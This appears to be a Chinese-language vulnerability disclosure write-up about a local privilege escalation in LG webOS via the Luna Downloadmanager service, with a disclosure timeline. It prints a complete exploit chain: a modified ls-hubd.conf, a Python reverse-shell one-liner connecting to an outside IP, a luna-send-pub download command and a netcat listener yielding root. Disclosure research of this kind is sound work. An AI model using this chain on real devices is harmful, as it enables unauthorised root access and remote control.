简介
不久之前,我决定花一些时间来研究webOS的内部运行机制,以便更好地了解整个平台的安全状况,同时,也能帮助自己能更好地发现webOS应用中的安全问题。在此过程中,我发现了一些有趣的安全问题,其中就包括下面要介绍的本地提权漏洞。
相关说明
作为LG webOS TV SDK的一部分,LG提供了一个运行在QEMU之上的webOS TV模拟器。在本文中,我们将使用运行webOS 5.0.0-88版本上的模拟器来演示这个本地提权漏洞。
需要说明的是,这里介绍的安全问题对本人的一台webOS硬件设备竟然没有任何影响,该设备为型号为65SM8500PLA、webOS版本为4.8.0-52002的LG智能电视。这是因为LG进行了相应的定制,限制了对易受攻击组件的访问。此外,LG还声称,他们所有运行webOS的设备都进行了相应的处理,但愿事实如其所言。
然而,由于这个安全问题的根本原因在于代码,而不是LG的自定义配置,所以,我们认为该漏洞仍然是有效的。据Recurity Labs所知,LG是webOS开源版(OSE)的维护者,尽管LG声称已经修复了这个问题,但该版本(到目前为止)还没有发布修复该漏洞的更新。这就意味着,对于这个安全漏洞来说,虽然已经斩草,但还未除根。同时,尽管我们已经进行了多次询问,但LG仍然没有为这个安全问题申请CVE编号——因此,在本文的标题中,我们使用的编号为“CVE-2020-XXXXX”。实际上,早在2020年10月05日,我们就向LG报告了这个漏洞。
同样有趣的是,LG一再试图淡化我报告的安全问题,但当我提到要撰写一篇相关文章时,他们却跑过来问我是更愿参加他们的漏洞赏金计划……
webOS简介
webOS是一个基于Linux的智能嵌入式设备操作系统和媒体应用平台。它最初是由Palm公司开发的,后来,被惠普公司收购。2011年,惠普公司以开源许可的方式公开了其源代码,这就是所谓的Open webOS。2013年,惠普将webOS出售给了LG公司,并将其应用于自家的智能电视、冰箱、手表等产品中。2018年,LG宣布推出webOS开源版(OSE),其中包括LG开发的智能电视和其他设备的附加功能。
高层架构
webOS中的应用程序被称为“Web应用程序”,其实就是在锁定的无头浏览器模式中执行的JavaScript客户端应用程序,并由内部的WebAppManager服务处理一些额外的管理。这些应用程序由非特权用户运行,因此对文件系统的访问能力非常有限。此外,这些应用程序还可以实现服务,这些服务在node.js中运行,必须打包并包含在应用程序的.ipk包中。这些服务与应用程序本身一样,都是以非特权用户的身份运行的。
此外,webOS还实现了Luna服务API,使Web应用程序以及内部系统服务能够调用不同的API,以便与webOS功能和底层系统进行交互。这些API是通过“Luna Bus ”来实现的,它暴露了一个私有通道和一个公共通道。这些API在某种程度上是按照逻辑进行分组的,可以包括公共的(由公共通道暴露,任何应用都可以使用)和私有的(由私有通道暴露,只用于内部或特权通信)方法。此外,每个方法都可以(通常也会)实现自己的访问控制,以实现更精细的访问限制。
这就是我们的故事开始的地方……
张冠李戴
Luna服务提供的API之一是Downloadmanager。像所有的内部API一样,Downloadmanager也是以root身份运行的。
root9000.00.9153569332 ?SLs09:060:00 /usr/bin/LunaDownloadMgr
Downloadmanager实现的最重要的方法名为download,其功能是供应用程序或服务通过网络下载文件。这个方法可以被任何应用程序所调用,并接受一些参数,同时,在文件下载位置和调用内容方面还实现了自己的限制。这是通过检查发起调用的应用程序是否具有com.palm.、com.webos.或com.palm.等特权前缀来实现的,因为第三方应用程序不允许使用这些前缀。
来自DownloadService.cpp的类:
// only privileged service don't have restrictions
if (!isPrivileged(caller))
以及来自DownloadManager.cpp的类:
bool DownloadManager::isPrivileged(const std::string& sender)
{
if(sender.find("com.palm.") == 0 || sender.find("com.webos.") == 0 || sender.find("com.lge.") == 0 )
return true;
return false;
}
如果没有通过这些检查,该服务将忽略除target以外的所有参数,参数target用于指定要下载的文件,并且默认情况下,会将文件下载到目录/media/internal/downloads下面。
然而,通过检查的特权应用程序,如内部服务和本地应用程序,则能够设置额外的参数,如targetDir和targetFilename(用于强制覆盖现有的同名文件)。例如,当系统通过因特网安装应用程序(例如通过应用商店)时,就会用到这些选项。
为了找到通过这个检查的方法,我花了相当多的时间,但是都无功而返,于是,我决定另寻他法,比如借助于luna-send工具。
webOS实现了一对位于/usr/bin中的命令行工具,分别名为luna-send和luna-send-pub,它们可以用来从命令行中调用本地的Luna服务API。其中,luna-send用来调用私有的API方法,并且只有root用户才可以调用它;而luna-send-pub则用来调用公共方法,因此,任何用户都可以调用它。这两个工具经常用于webOS内部的启动和维护脚本,从而使它们成为平台的基本组成部分。
在检查luna-send二进制文件的源码时,我注意到了以下extract_
const char PUBLIC_SERVICE_NAME[] = "com.webos.lunasendpub";
const char PRIVATE_SERVICE_NAME[] = "com.webos.lunasend";
事实表明,在与Luna服务API通信时,使用的luna-send-pub名称是com.webos.lunasendpub,这意味着它将有效地通过Downloadmanager中实现的相关检查,从而被认为是一个特权调用方。这样一来,我们就能够以root用户的身份将任意文件下载到文件系统的任何可写部分,因为Downloadmanager是以root身份运行的。请记住,这对于任何实现自己服务的应用程序来说都是可能的,例如通过使用node.js child_process模块在命令行上调用luna-send-pub。
(笔者并没有忘记该设计意味着可以让命令行工具调用内部系统服务,并通过它自己选择的任何名称来指定自己的权限,但我们将在另一篇文章中专门加以探讨)。
虽然以root身份任意下载文件本身就是一个安全问题,但我希望通过它来达成一些更加有趣的事情,比如本地提权。
场景设置
LG webOS TV Emulator主要用于本项目的动态部分,它为开发人员提供了与第三方应用程序相同类型的、通过非特权shell访问webOS的权限。为了便于理解,下面的所有步骤将直接使用shell而不是通过Web App服务来进行演示。对于那些想要实现同样功能的Web App的用户,LG在他们的开发者网站上提供了一些关于如何编写应用程序和服务的基本文档,具体地址为http://webostv.developer.lge.com/develop/building-your-first-web-app-webos-tv/。
我们可以利用下面的方法来获取LG webOS TV Emulator的root权限,但对于其他webOS设备来说,在使用哪些文件和目录方面,可能需要做一些相应的调整。
获取root权限
虽然我们现在能够将文件下载到文件系统的任何地方(如果挂载为可写的),但我们仍然无法让下载的文件变为可执行的,因为只有root用户才能做到这一点,这意味着简单地覆盖一些二进制文件夹或shell脚本可能无法奏效。然而,我们可以覆盖一个指定可执行文件路径的配置文件,然后将其指向文件系统中我们拥有必要特权的某个位置的可执行文件。为此,我在/etc/luna-service2/ls-hubd.conf文件中找到了一个很好的候选文件。这是Luna hub守护进程的配置文件,该文件充当内部通信的中间人,并且包含以下内容:
[Dynamic Services]
ExecPrefix=/usr/sbin/setcpushares-ls2
LaunchTimeout=300000
经检查,我们发现/usr/sbin/setcpushares-ls2文件包含以下内容:
#!/bin/sh
# usage: $0 cmd args...
# Used by LS2 as a wrapper for invoking dynamic services that ensures they are in the correct groups
exec "$@"
该文件似乎是用于启动动态服务(可能在启动过程中运行)的Shell脚本。由于Luna Service hub守护进程是以root用户身份运行的,这意味着,如果我们可以覆盖配置文件并将ExecPrefix指向我们自己的脚本文件,那么就能够以root用户身份在脚本中运行任意命令。
为此,可以采取以下步骤:
1)在本地计算机上,创建具有以下内容的文件ls-hubd.conf:
[General]
PidDirectory=/var/run/ls2
LogServiceStatus=false
ConnectTimeout=20000
[Watchdog]
Timeout=60
FailureMode=noop
[Dynamic Services]
ExecPrefix=/home/developer/setcpushares-ls
LaunchTimeout=300000
[Security]
Enabled=true
MonitorExePath=/usr/sbin/ls-monitor
JsServiceExePath=js
AllowNullOutboundByDefault=true
ContainersDirectories=/usr/share/luna-service2/containers.d
ManifestsDirectories=/usr/share/luna-service2/manifests.d;/mnt/otycabi/usr/share/luna-service2/manifests.d;/mnt/otncabi/usr/share/luna-service2/manifests.d
ManifestsVolatileDirectories=/var/luna-service2/manifests.d;/var/luna-service2-dev/manifests.d
DevmodeCertificate=/var/luna-service2-dev/devmode_certificate.json
DefaultDevmodeCertificate=/usr/share/luna-service2/devmode_certificate.json
注意,ExecPrefix的值已经被修改为指向home/developer/setcpushares-ls。那么,为什么不直接覆盖脚本文件呢?这是因为,在大多数嵌入式设备上,/usr/sbin目录很可能被挂载为只读属性,而/etc/(配置文件的位置)则不会出现这种情况。在LG webOS TV Emulator上,/home/developer目录是允许非特权用户执行写入操作的;在其他设备上,则可能要使用其他目录。
2)接下来,在webOS设备上创建文件home/developer/setcpushares-ls,内容如下所示:
#!/bin/sh
# usage: $0 cmd args...
# Used by LS2 as a wrapper for invoking dynamic services that ensures they are in the correct groups
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.107",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'
exec "$@"
3)用命令chmod +x setcpushares-ls将这个文件的属性改为可执行的。
(如果还需要下载修改后的脚本文件的话,请直接将ExecPrefix中的路径替换为/bin/sh /path/to/script,这样一来,就无需将脚本文件改为可执行的了)。
4) 使用以下命令将修改后的ls-hubd.conf文件下载到webOS设备上:
luna-send-pub -n 1 -f luna://com.webos.service.downloadmanager/download '{"target":"http://192.168.1.107:8000/ls-hubd.conf","targetDir":"/etc/luna-service2","targetFilename":"ls-hubd.conf"}'
5)之后,在步骤2中的Python反向shell程序中指定的IP地址的端口1234上打开一个netcat侦听器。
nc -l 1234
6) 重新启动webOS设备。一旦系统完成启动,步骤5中设置的netcat侦听器应该会收到一个连接,并授予系统的root权限。
andreas@deathstar2:~$ nc -l 1234
/bin/sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0(root)
/ # uname -a
Linux qemux86 4.18.14-yocto-standard #1 SMP PREEMPT Fri Feb 7 05:57:22 UTC 2020 x86_64 GNU/Linux
现在,只需修改root用户的密码,并将/home/developer/setcpushares-ls文件中的Python反向shell替换为一个命令,打开一个额外的SSH侦听器,并允许通过root和密码登录。与root shell相比,这是一种更加稳定的系统访问方式,对于我们进一步的研究将会提供很大的帮助。
小结
虽然LG声称这个安全问题不会影响他们的设备,但在我们看来,这个安全问题会影响所有使用webOS的设备,因此,我们应该引起高度重视。后来,LG声称将在2021年1月26日开始的“一周时间内”修复该问题(该问题最初是在2020年10月05日向LG报告的),由于这个时间已经过了很久,而且由于该安全问题并不具有远程可利用性,因此,我们决定发布该漏洞的相关信息。